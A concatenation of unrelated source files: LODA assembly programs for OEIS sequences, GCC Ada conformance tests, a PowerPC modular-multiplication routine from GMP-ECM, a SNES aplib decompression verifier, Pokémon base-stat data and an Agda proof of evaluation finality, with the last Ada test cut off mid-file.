<reponame>neoneye/loda-programs<filename>oeis/104/A104097.asm ; A104097: Denominators of coefficients in expansion of x^-2*(1-exp(-2*x))^2. ; Submitted by <NAME> ; 1,1,3,1,45,5,315,189,2025,4725,467775,1485,42567525,212837625,91216125,42567525,97692469875,516891375,9280784638125,236238154425,43752270436875,714620417135625,147926426347074375,53123043290625,48076088562799171875,432684797065192546875,1298054391195577640625,605758715891269565625,3952575621190533915703125,5703572324950265390625,122529844256906551386796875,15856803374423200767703125,426951817565991151105546875,801957830661453378826585546875,698479400898685200913477734375 seq $0,2679 ; Denominator of 2*Stirling_2(n,2)/n!. lpb $0 dif $0,2 lpe
programs/oeis/193/A193391.asm
jmorken/loda
1
247016
<reponame>jmorken/loda ; A193391: Wiener index of a benzenoid consisting of a spiral chain of n hexagons (s=1; see the Gutman et al. reference). ; 27,109,271,529,899,1397,2039,2841,3819,4989,6367,7969,9811,11909,14279,16937,19899,23181,26799,30769,35107,39829,44951,50489,56459,62877,69759,77121,84979,93349,102247,111689,121691,132269,143439,155217,167619,180661,194359,208729,223787,239549,256031,273249,291219,309957,329479,349801,370939,392909,415727,439409,463971,489429,515799,543097,571339,600541,630719,661889,694067,727269,761511,796809,833179,870637,909199,948881,989699,1031669,1074807,1119129,1164651,1211389,1259359,1308577,1359059,1410821,1463879,1518249,1573947,1630989,1689391,1749169,1810339,1872917,1936919,2002361,2069259,2137629,2207487,2278849,2351731,2426149,2502119,2579657,2658779,2739501,2821839,2905809,2991427,3078709,3167671,3258329,3350699,3444797,3540639,3638241,3737619,3838789,3941767,4046569,4153211,4261709,4372079,4484337,4598499,4714581,4832599,4952569,5074507,5198429,5324351,5452289,5582259,5714277,5848359,5984521,6122779,6263149,6405647,6550289,6697091,6846069,6997239,7150617,7306219,7464061,7624159,7786529,7951187,8118149,8287431,8459049,8633019,8809357,8988079,9169201,9352739,9538709,9727127,9918009,10111371,10307229,10505599,10706497,10909939,11115941,11324519,11535689,11749467,11965869,12184911,12406609,12630979,12858037,13087799,13320281,13555499,13793469,14034207,14277729,14524051,14773189,15025159,15279977,15537659,15798221,16061679,16328049,16597347,16869589,17144791,17422969,17704139,17988317,18275519,18565761,18859059,19155429,19454887,19757449,20063131,20371949,20683919,20999057,21317379,21638901,21963639,22291609,22622827,22957309,23295071,23636129,23980499,24328197,24679239,25033641,25391419,25752589,26117167,26485169,26856611,27231509,27609879,27991737,28377099,28765981,29158399,29554369,29953907,30357029,30763751,31174089,31588059,32005677,32426959,32851921,33280579,33712949,34149047,34588889,35032491,35479869,35931039,36386017,36844819,37307461,37773959,38244329,38718587,39196749,39678831,40164849,40654819,41148757,41646679,42148601,42654539,43164509 add $0,1 mul $0,2 mov $2,5 mov $3,4 lpb $0 sub $0,1 add $1,3 mov $5,4 add $5,$3 add $5,$1 add $1,$0 add $1,$2 add $1,5 mov $4,$5 sub $4,$2 mov $3,$4 lpe add $4,3 sub $1,$4 trn $1,$3 add $1,$4 add $1,2
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c95086a.ada
best08618/asylo
7
22576
<reponame>best08618/asylo -- C95086A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- CHECK THAT CONSTRAINT_ERROR IS NOT RAISED AT THE TIME OF CALL WHEN -- THE VALUE OF AN ACTUAL OUT SCALAR PARAMETER DOES NOT SATISFY THE -- RANGE CONSTRAINTS OF THE FORMAL PARAMETER. -- GLH 7/16/85 -- JRK 8/23/85 WITH REPORT; USE REPORT; PROCEDURE C95086A IS SUBTYPE SUBINT1 IS INTEGER RANGE -10..10; SUBTYPE SUBINT2 IS INTEGER RANGE -20..20; I10 : SUBINT1 := 10; I20 : SUBINT2 := 20; TASK T1 IS ENTRY E1 (I : OUT SUBINT1); END T1; TASK BODY T1 IS BEGIN LOOP BEGIN SELECT ACCEPT E1 (I : OUT SUBINT1) DO I := SUBINT1'FIRST; END E1; OR TERMINATE; END SELECT; EXCEPTION WHEN OTHERS => FAILED ("EXCEPTION RAISED IN ACCEPT E1"); END; END LOOP; END T1; BEGIN TEST ("C95086A", "CHECK THAT CONSTRAINT_ERROR IS NOT RAISED " & "AT THE TIME OF CALL WHEN THE VALUE OF AN " & "ACTUAL OUT SCALAR PARAMETER DOES NOT " & "SATISFY THE RANGE CONSTRAINTS OF THE FORMAL " & "PARAMETER"); BEGIN T1.E1 (SUBINT1(I20)); IF I20 /= IDENT_INT (-10) THEN FAILED ("OUT PARAM DID NOT GET CORRECT VALUE - 1"); END IF; EXCEPTION WHEN OTHERS => FAILED ("EXCEPTION RAISED ON CALL TO E1 - 1"); END; BEGIN I20 := IDENT_INT (20); T1.E1 (I20); IF I20 /= IDENT_INT (-10) THEN FAILED ("OUT PARAM DID NOT GET CORRECT VALUE - 2"); END IF; EXCEPTION WHEN OTHERS => FAILED ("EXCEPTION RAISED ON CALL TO E1 - 2"); END; RESULT; END C95086A;
oeis/103/A103638.asm
neoneye/loda-programs
11
87961
<filename>oeis/103/A103638.asm ; A103638: Sum[d|n, d==2 mod 3, d^2]. ; 0,4,0,4,25,4,0,68,0,29,121,4,0,200,25,68,289,4,0,429,0,125,529,68,25,680,0,200,841,29,0,1092,121,293,1250,4,0,1448,0,493,1681,200,0,2061,25,533,2209,68,0,2529,289,680,2809,4,146,3400,0,845,3481,429,0,3848 add $0,1 mov $2,$0 mul $0,6 sub $0,2 lpb $0 sub $0,2 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 mul $3,$0 sub $0,1 add $1,$3 lpe mov $0,$1
oeis/010/A010524.asm
neoneye/loda-programs
11
160955
; A010524: Decimal expansion of square root of 72. ; 8,4,8,5,2,8,1,3,7,4,2,3,8,5,7,0,2,9,2,8,1,0,1,3,2,3,4,5,2,5,8,1,8,8,4,7,1,4,1,8,0,3,1,2,5,2,2,6,1,6,8,8,4,3,9,0,6,0,0,7,8,4,2,7,9,4,4,3,9,4,8,7,0,7,7,2,6,4,2,2,3,3,1,0,2,3,2,5,2,0,5,9,6,5,8,4,9,4,3,6 mov $1,1 mov $2,1 mov $3,$0 add $3,8 mov $4,$0 add $4,3 mul $4,2 mov $7,10 pow $7,$4 mov $9,10 lpb $3 mov $4,$2 pow $4,2 mul $4,72 mov $5,$1 pow $5,2 add $4,$5 mov $6,$1 mov $1,$4 mul $6,$2 mul $6,2 mov $2,$6 mov $8,$4 div $8,$7 max $8,2 div $1,$8 div $2,$8 sub $3,1 lpe mov $3,$9 pow $3,$0 div $2,$3 div $1,$2 mod $1,$9 mov $0,$1
picoctf/EasyRsa/gmp-ecm/powerpc64/mulredc1.asm
beninato8/ctfs
0
5914
<filename>picoctf/EasyRsa/gmp-ecm/powerpc64/mulredc1.asm dnl ****************************************************************************** dnl Copyright 2009 <NAME> and <NAME>. dnl dnl This file is part of the ECM Library. dnl dnl The ECM Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published by dnl the Free Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl The ECM Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public License dnl along with the ECM Library; see the file COPYING.LIB. If not, write to dnl the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, dnl MA 02110-1301, USA. dnl ****************************************************************************** define(C, ` dnl') C mp_limb_t mulredc1(mp_limb_t * z, const mp_limb_t x, const mp_limb_t y, C const mp_limb_t m, mp_limb_t inv_m); C C arguments: C r3 : ptr to result z C r4 : input x C r5 : input y C r6 : modulus m' C r7 = -1/m mod 2^64 C C final carry returned in r3 include(`config.m4') GLOBL GSYM_PREFIX`'mulredc1 GLOBL .GSYM_PREFIX`'mulredc1 .section ".opd", "aw" .align 3 GSYM_PREFIX`'mulredc1: .quad .GSYM_PREFIX`'mulredc1, .TOC.@tocbase, 0 .size GSYM_PREFIX`'mulredc1, 24 TEXT .align 5 C powerPC 32 byte alignment .GSYM_PREFIX`'mulredc1: mulld r8, r4, r5 C x*y low half T0 mulhdu r9, r4, r5 C x*y high half T1 mulld r0, r7, r8 C u = t0 * invm mulld r10, r0, r6 C u*m low mulhdu r11, r0, r6 C u*m high addc r8, r8, r10 C x*y + u*m low (= zero) adde r9, r9, r11 C result std r9, 0(r3) C store in z addze r3, r8 C return carry blr .size .GSYM_PREFIX`'mulredc1, .-.GSYM_PREFIX`'mulredc1
aplib_verifier.asm
snaphat/final_fantasy_vi_widescreen
3
86533
; apLib decruncher for SNES ; /Mic, 2010 ; http://jiggawatt.org/badc0de/decrunch/aplib_decrunch_65816.asm ; ; Modified version of Mic's aplib decompressor modified to support 64kB bank ; boundary crossing used simply to check that data in the destination matches this ; decoder's results. If a byte doesn't match during decompression, this code ; will issue a STP instruction on the CPU (fail early). ; !APLIB_ZP_BASE = $F0 ; DirectPage variables !APLIB_LWM = !APLIB_ZP_BASE !APLIB_SRC_PTR = !APLIB_LWM+2 !APLIB_BITS = !APLIB_SRC_PTR+3 !APLIB_BITCOUNT = !APLIB_BITS+1 !APLIB_OFFS = !APLIB_BITCOUNT+1 !APLIB_GAMMA = !APLIB_OFFS+2 !APLIB_OFFS2 = !APLIB_GAMMA+2 macro APL_VERIFY() ; In: ; A = source bank ; Y = source offset ; X = dest offset ; DBR = dest bank aplib_decrunch: ldx $fd ; load dest offset. ldy $fa ; load src offset. sep #$20 lda #$7f ; load dest bank. pha plb lda $fc ; load src bank in A. php rep #$10 sep #$20 sta !APLIB_SRC_PTR+2 stz !APLIB_SRC_PTR+1 stz !APLIB_SRC_PTR stz !APLIB_OFFS+1 stz !APLIB_LWM+1 lda #$01 sta !APLIB_BITCOUNT copy_byte: lda [!APLIB_SRC_PTR],y ;sta.w $0000,x cmp $0000,x beq + stp +: inx iny cpy #$0000 bne next_sequence_init inc !APLIB_SRC_PTR+2 next_sequence_init: stz !APLIB_LWM next_sequence: jsr get_bit bcc copy_byte ; if bit sequence is %0..., then copy next byte jsr get_bit bcc code_pair ; if bit sequence is %10..., then is a code pair jsr get_bit stz !APLIB_OFFS stz !APLIB_OFFS+1 bcs + jmp short_match ; if bit sequence is %110..., then is a short match +: ; The sequence is %111..., the next 4 bits are the offset (0-15) jsr get_bit rol !APLIB_OFFS jsr get_bit rol !APLIB_OFFS jsr get_bit rol !APLIB_OFFS jsr get_bit rol !APLIB_OFFS lda !APLIB_OFFS beq write_byte ; if offset == 0, then write 0x00 ; If offset != 0, then write the byte at destination - offset phx rep #$20 txa sec sbc !APLIB_OFFS ; A = dest - offs tax sep #$20 lda.w $0000,x plx write_byte: cmp $0000,x ;sta.w $0000,x beq + stp +: inx jmp next_sequence_init ; Code pair %10... code_pair: jsr decode_gamma rep #$20 dec !APLIB_GAMMA dec !APLIB_GAMMA bne normal_code_pair lda !APLIB_LWM bne normal_code_pair jsr decode_gamma rep #$20 lda !APLIB_OFFS2 sta !APLIB_OFFS jmp copy_code_pair normal_code_pair: lda !APLIB_GAMMA clc adc !APLIB_LWM dec sep #$20 sta !APLIB_OFFS+1 lda [!APLIB_SRC_PTR],y iny cpy #$0000 bne + inc !APLIB_SRC_PTR+2 +: sta !APLIB_OFFS jsr decode_gamma rep #$20 lda !APLIB_OFFS cmp #$7D00 bcc compare_1280 inc !APLIB_GAMMA compare_1280: cmp #$500 bcc compare_128 inc !APLIB_GAMMA jmp continue_short_match compare_128: cmp #$0080 bcs continue_short_match inc !APLIB_GAMMA inc !APLIB_GAMMA jmp continue_short_match ; get_bit: Get bits from the crunched data and insert the most significant bit in the carry flag. get_bit: sep #$20 dec !APLIB_BITCOUNT bne still_bits_left lda #$08 sta !APLIB_BITCOUNT lda [!APLIB_SRC_PTR],y sta !APLIB_BITS iny cpy #$0000 bne + inc !APLIB_SRC_PTR+2 +: still_bits_left: asl !APLIB_BITS rts ; decode_gamma: Decode values from the crunched data using gamma code decode_gamma: rep #$20 lda #$0001 sta !APLIB_GAMMA get_more_gamma: jsr get_bit rep #$20 lda !APLIB_GAMMA adc !APLIB_GAMMA sta !APLIB_GAMMA jsr get_bit bcs get_more_gamma rts ; Short match %110... short_match: rep #$20 lda #$0001 sta !APLIB_GAMMA sep #$20 lda [!APLIB_SRC_PTR],y ; Get offset (offset is 7 bits + 1 bit to mark if copy 2 or 3 bytes) iny cpy #$0000 bne + inc !APLIB_SRC_PTR+2 +: lsr a beq end_decrunch rol !APLIB_GAMMA sta !APLIB_OFFS stz !APLIB_OFFS+1 rep #$20 continue_short_match: lda !APLIB_OFFS sta !APLIB_OFFS2 copy_code_pair: phy txa sec sbc !APLIB_OFFS ; dest - offs tay loop_do_copy: sep #$20 lda.w $0000,y ;sta.w $0000,x cmp $0000,x beq + stp +: inx iny bne + inc !APLIB_SRC_PTR+2 +: rep #$20 dec !APLIB_GAMMA bne loop_do_copy ply lda #$0001 sta !APLIB_LWM sep #$20 jmp next_sequence end_decrunch: plp rtl endmacro
data/baseStats_original/noctowl.asm
adhi-thirumala/EvoYellow
16
105426
db DEX_NOCTOWL ; pokedex id db 100 ; base hp db 50 ; base attack db 50 ; base defense db 70 ; base speed db 86 ; base special db FLYING ; species type 1 db NORMAL ; species type 2 db 52 ; catch rate db 162 ; base exp yield INCBIN "pic/ymon/noctowl.pic",0,1 ; 77, sprite dimensions dw NoctowlPicFront dw NoctowlPicBack ; attacks known at lvl 0 db TACKLE db GROWL db PECK db 0 db 0 ; growth rate ; learnset tmlearn 2,4,6 tmlearn 9,10,15 tmlearn 20 tmlearn 31,32 tmlearn 33,34,39 tmlearn 43,44 tmlearn 50,52 db BANK(NoctowlPicFront) ; padding
finality.agda
hazelgrove/hazelnat-myth-
1
16878
open import Nat open import Prelude open import List open import contexts open import core open import results-checks open import preservation module finality where finality : ∀{Δ Σ' Γ E e r k τ} → E env-final → Δ , Σ' , Γ ⊢ E → Δ , Σ' , Γ ⊢ e :: τ → E ⊢ e ⇒ r ⊣ k → r final finality E-final ctxcons (TAFix _) EFix = FFix E-final finality (EF E-fin) ctxcons (TAVar _) (EVar h) = E-fin h finality E-final ctxcons (TAApp _ ta-f ta-arg) (EAppFix {Ef = Ef} {f} {x} {ef} {r2 = r2} CF∞ h2 eval-f eval-arg eval-ef) rewrite h2 with preservation ctxcons ta-f eval-f ... | TAFix ctxcons-Ef (TAFix ta-ef) = finality (EF new-Ef+-final) new-ctxcons ta-ef eval-ef where new-ctxcons = EnvInd (EnvInd ctxcons-Ef (preservation ctxcons ta-f eval-f)) (preservation ctxcons ta-arg eval-arg) new-Ef-final : ∀{x' rx'} → (x' , rx') ∈ (Ef ,, (f , [ Ef ]fix f ⦇·λ x => ef ·⦈)) → rx' final new-Ef-final {x'} {rx'} h with ctx-split {Γ = Ef} h new-Ef-final {x'} {rx'} h | Inl (_ , x'∈Ef) with finality E-final ctxcons ta-f eval-f ... | FFix (EF Ef-fin) = Ef-fin x'∈Ef new-Ef-final {x'} {rx'} h | Inr (_ , rx'==r2) rewrite rx'==r2 = finality E-final ctxcons ta-f eval-f new-Ef+-final : ∀{x' rx'} → (x' , rx') ∈ (Ef ,, (f , [ Ef ]fix f ⦇·λ x => ef ·⦈) ,, (x , r2)) → rx' final new-Ef+-final {x'} {rx'} h with ctx-split {Γ = Ef ,, (f , [ Ef ]fix f ⦇·λ x => ef ·⦈)} h new-Ef+-final {x'} {rx'} h | Inl (_ , x'∈Ef+) = new-Ef-final x'∈Ef+ new-Ef+-final {x'} {rx'} h | Inr (_ , rx'==r2) rewrite rx'==r2 = finality E-final ctxcons ta-arg eval-arg finality E-final ctxcons (TAApp h ta-f ta-arg) (EAppUnfinished eval-f h2 eval-arg) = FAp (finality E-final ctxcons ta-f eval-f) (finality E-final ctxcons ta-arg eval-arg) h2 finality E-final ctxcons TAUnit EUnit = FUnit finality E-final ctxcons (TAPair _ ta1 ta2) (EPair eval1 eval2) = FPair (finality E-final ctxcons ta1 eval1) (finality E-final ctxcons ta2 eval2) finality E-final ctxcons (TAFst ta) (EFst eval) with finality E-final ctxcons ta eval ... | FPair fin _ = fin finality E-final ctxcons (TAFst ta) (EFstUnfinished eval ne) = FFst (finality E-final ctxcons ta eval) ne finality E-final ctxcons (TASnd ta) (ESnd eval) with finality E-final ctxcons ta eval ... | FPair _ fin = fin finality E-final ctxcons (TASnd ta) (ESndUnfinished eval ne) = FSnd (finality E-final ctxcons ta eval) ne finality E-final ctxcons (TACtor h h2 ta) (ECtor eval) = FCon (finality E-final ctxcons ta eval) finality {Σ' = Σ'} (EF E-fin) ctxcons (TACase d∈Σ'1 ta h1 h2) (EMatch {E = E} {xc = xc} {r' = r'} CF∞ form eval eval-ec) with h2 form ... | _ , _ , _ , c∈cctx1 , ta-ec with preservation ctxcons ta eval ... | TACtor {cctx = cctx} d∈Σ' c∈cctx ta-r' rewrite ctxunicity {Γ = π1 Σ'} d∈Σ'1 d∈Σ' | ctxunicity {Γ = cctx} c∈cctx1 c∈cctx = finality (EF new-E-final) (EnvInd ctxcons ta-r') ta-ec eval-ec where new-E-final : ∀{x' rx'} → (x' , rx') ∈ (E ,, (xc , r')) → rx' final new-E-final {x'} {rx'} x'∈E+ with ctx-split {Γ = E} x'∈E+ ... | Inl (_ , x'∈E) = E-fin x'∈E ... | Inr (_ , rx'==r') rewrite rx'==r' with finality (EF E-fin) ctxcons ta eval ... | FCon r'-fin = r'-fin finality E-final ctxcons (TACase h ta h2 h3) (EMatchUnfinished eval h4) = FCase (finality E-final ctxcons ta eval) h4 E-final finality E-final ctxcons (TAHole _) EHole = FHole E-final finality E-final ctxcons (TAAsrt _ _ _) (EAsrt _ _ _) = FUnit
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c6/c67002c.ada
best08618/asylo
7
3448
-- C67002C.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- CHECK THAT ALL OPERATOR SYMBOLS CAN BE USED IN (OVERLOADED) -- FUNCTION SPECIFICATIONS WITH THE REQUIRED NUMBER OF PARAMETERS. -- THIS TEST CHECKS FORMAL SUBPROGRAM PARAMETERS. -- SUBTESTS ARE: -- (A) THROUGH (P): "=", "AND", "OR", "XOR", "<", "<=", -- ">", ">=", "&", "*", "/", "MOD", "REM", "**", "+", "-", -- RESPECTIVELY. ALL OF THESE HAVE TWO PARAMETERS. -- (Q), (R), (S), AND (T): "+", "-", "NOT", "ABS", RESPECTIVELY, -- WITH ONE PARAMETER. -- CPP 6/26/84 WITH REPORT; USE REPORT; PROCEDURE C67002C IS FUNCTION TWO_PARAMS (I1, I2 : INTEGER) RETURN CHARACTER IS BEGIN IF I1 > I2 THEN RETURN 'G'; ELSE RETURN 'L'; END IF; END TWO_PARAMS; FUNCTION ONE_PARAM (I1 : INTEGER) RETURN CHARACTER IS BEGIN IF I1 < IDENT_INT(0) THEN RETURN 'N'; ELSE RETURN 'P'; END IF; END ONE_PARAM; BEGIN TEST ("C67002C", "USE OF OPERATOR SYMBOLS IN " & "(OVERLOADED) FUNCTION SPECIFICATIONS"); ------------------------------------------------- DECLARE -- (A) PACKAGE EQU IS TYPE LP IS LIMITED PRIVATE; FUNCTION "=" (LPA, LPB : LP) RETURN BOOLEAN; PRIVATE TYPE LP IS NEW INTEGER; END EQU; USE EQU; LP1, LP2 : LP; PACKAGE BODY EQU IS FUNCTION "=" (LPA, LPB : LP) RETURN BOOLEAN IS BEGIN RETURN LPA > LPB; END "="; BEGIN LP1 := LP (IDENT_INT (7)); LP2 := LP (IDENT_INT (8)); END EQU; GENERIC WITH FUNCTION "=" (LPA, LPB : LP) RETURN BOOLEAN; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (LP1 = LP2) OR NOT (LP2 = LP1) OR (LP1 = LP1) OR (LP2 /= LP1) THEN FAILED ("OVERLOADING OF ""="" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE EQUAL IS NEW PKG ("=" => EQU."="); BEGIN -- (A) NULL; END; -- (A) ------------------------------------------------- DECLARE -- (B) GENERIC WITH FUNCTION "AND" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) AND 1) /= 'G' OR (5 AND 10) /= 'L' THEN FAILED ("OVERLOADING OF ""AND"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("AND" => TWO_PARAMS); BEGIN -- (B) NULL; END; -- (B) ------------------------------------------------- DECLARE -- (C) GENERIC WITH FUNCTION "OR" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) OR 1) /= 'G' OR (5 OR 10) /= 'L' THEN FAILED ("OVERLOADING OF ""OR"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("OR" => TWO_PARAMS); BEGIN -- (C) NULL; END; -- (C) ------------------------------------------------- DECLARE -- (D) GENERIC WITH FUNCTION "XOR" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) XOR 1) /= 'G' OR (5 XOR 10) /= 'L' THEN FAILED ("OVERLOADING OF ""XOR"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("XOR" => TWO_PARAMS); BEGIN -- (D) NULL; END; -- (D) ------------------------------------------------- DECLARE -- (E) GENERIC WITH FUNCTION "<" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) < 1) /= 'G' OR (5 < 10) /= 'L' THEN FAILED ("OVERLOADING OF ""<"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("<" => TWO_PARAMS); BEGIN -- (E) NULL; END; -- (E) ------------------------------------------------- DECLARE -- (F) GENERIC WITH FUNCTION "<=" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) <= 1) /= 'G' OR (5 <= 10) /= 'L' THEN FAILED ("OVERLOADING OF ""<="" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("<=" => TWO_PARAMS); BEGIN -- (F) NULL; END; -- (F) ------------------------------------------------- DECLARE -- (G) GENERIC WITH FUNCTION ">" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) > 1) /= 'G' OR (5 > 10) /= 'L' THEN FAILED ("OVERLOADING OF "">"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG (">" => TWO_PARAMS); BEGIN -- (G) NULL; END; -- (G) ------------------------------------------------- DECLARE -- (H) GENERIC WITH FUNCTION ">=" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) >= 1) /= 'G' OR (5 >= 10) /= 'L' THEN FAILED ("OVERLOADING OF "">="" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG (">=" => TWO_PARAMS); BEGIN -- (H) NULL; END; -- (H) ------------------------------------------------- DECLARE -- (I) GENERIC WITH FUNCTION "&" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) & 1) /= 'G' OR (5 & 10) /= 'L' THEN FAILED ("OVERLOADING OF ""&"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("&" => TWO_PARAMS); BEGIN -- (I) NULL; END; -- (I) ------------------------------------------------- DECLARE -- (J) GENERIC WITH FUNCTION "*" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) * 1) /= 'G' OR (5 * 10) /= 'L' THEN FAILED ("OVERLOADING OF ""*"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("*" => TWO_PARAMS); BEGIN -- (J) NULL; END; -- (J) ------------------------------------------------- DECLARE -- (K) GENERIC WITH FUNCTION "/" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) / 1) /= 'G' OR (5 / 10) /= 'L' THEN FAILED ("OVERLOADING OF ""/"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("/" => TWO_PARAMS); BEGIN -- (K) NULL; END; -- (K) ------------------------------------------------- DECLARE -- (L) GENERIC WITH FUNCTION "MOD" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) MOD 1) /= 'G' OR (5 MOD 10) /= 'L' THEN FAILED ("OVERLOADING OF ""MOD"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("MOD" => TWO_PARAMS); BEGIN -- (L) NULL; END; -- (L) ------------------------------------------------- DECLARE -- (M) GENERIC WITH FUNCTION "REM" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) REM 1) /= 'G' OR (5 REM 10) /= 'L' THEN FAILED ("OVERLOADING OF ""REM"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("REM" => TWO_PARAMS); BEGIN -- (M) NULL; END; -- (M) ------------------------------------------------- DECLARE -- (N) GENERIC WITH FUNCTION "**" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) ** 1) /= 'G' OR (5 ** 10) /= 'L' THEN FAILED ("OVERLOADING OF ""**"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("**" => TWO_PARAMS); BEGIN -- (N) NULL; END; -- (N) ------------------------------------------------- DECLARE -- (O) GENERIC WITH FUNCTION "+" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) + 1) /= 'G' OR (5 + 10) /= 'L' THEN FAILED ("OVERLOADING OF ""+"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("+" => TWO_PARAMS); BEGIN -- (O) NULL; END; -- (O) ------------------------------------------------- DECLARE -- (P) GENERIC WITH FUNCTION "-" (I1, I2 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (IDENT_INT (10) - 1) /= 'G' OR (5 - 10) /= 'L' THEN FAILED ("OVERLOADING OF ""-"" OPERATOR DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("-" => TWO_PARAMS); BEGIN -- (P) NULL; END; -- (P) ------------------------------------------------- DECLARE -- (Q) GENERIC WITH FUNCTION "+" (I1 : INTEGER) RETURN CHARACTER; PACKAGE PKG IS END PKG; PACKAGE BODY PKG IS BEGIN IF (+ IDENT_INT(25) /= 'P') OR (+ (0-25) /= 'N') THEN FAILED ("OVERLOADING OF ""+"" " & "OPERATOR (ONE OPERAND) DEFECTIVE"); END IF; END PKG; PACKAGE PACK IS NEW PKG ("+" => ONE_PARAM); BEGIN -- (Q) NULL; END; -- (Q) ------------------------------------------------- DECLARE -- (R) GENERIC WITH FUNCTION "-" (I1 : INTEGER) RETURN CHARACTER; PACKAGE 